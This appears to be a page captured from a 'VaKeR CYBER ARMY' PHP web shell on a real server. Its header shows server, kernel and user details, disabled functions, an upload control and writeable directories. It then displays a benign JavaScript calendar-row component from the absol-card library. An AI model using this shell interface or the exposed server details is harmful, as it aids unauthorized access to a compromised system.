VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/libs/absol-full/dist/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/libs/absol-full/dist/js/mdls__absol-card__js__dom__CWeekRow.js
/*** module: node_modules/absol-card/js/dom/CWeekRow.js ***/
"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = void 0;

require("../../css/cweekrow.css");

var _Core = _interopRequireDefault(require("./Core"));

var _datetime = require("absol/src/Time/datetime");

var _CDayCell = _interopRequireDefault(require("./CDayCell"));


var _ = _Core.default._;
var $ = _Core.default.$;
var defaultDate = (0, _datetime.beginOfWeek)(new Date());

function CWeekRow() {
  var thisR = this;
  /**
   * @type {Array<CDayCell>}
   */

  this.$dayCells = Array(7).fill(null).map(function () {
    return _('cdaycell').addTo(thisR);
  });
  this._date = defaultDate;
  this.date = this._date;
}

CWeekRow.tag = 'CWeekRow'.toLowerCase();

CWeekRow.render = function () {
  return _({
    class: 'cd-week-row'
  });
};

CWeekRow.prototype._updateDate = function () {
  var millis0 = this._date.getTime();

  for (var i = 0; i < 7; ++i) {
    this.$dayCells[i].date = new Date(millis0 + i * _datetime.MILLIS_PER_DAY);
  }
};

CWeekRow.prototype.getCellByDate = function (date) {
  return this.$dayCells[this.getCellIdxByDate(date)] || null;
};

CWeekRow.prototype.getCellIdxByDate = function (date) {
  return (0, _datetime.compareDate)(date, this._date);
};

CWeekRow.property = {};
/**
 * @type {CWeekRow}
 */

CWeekRow.property.date = {
  /**
   * 
   * @param {Date} value 
   */
  set: function (value) {
    this._date = value || defaultDate;

    this._updateDate();
  },

  /**
   * @returns {Date}
   */
  get: function () {
    return this._date;
  }
};

_Core.default.install(CWeekRow);

var _default = CWeekRow;
exports.default = _default;

VaKeR 2022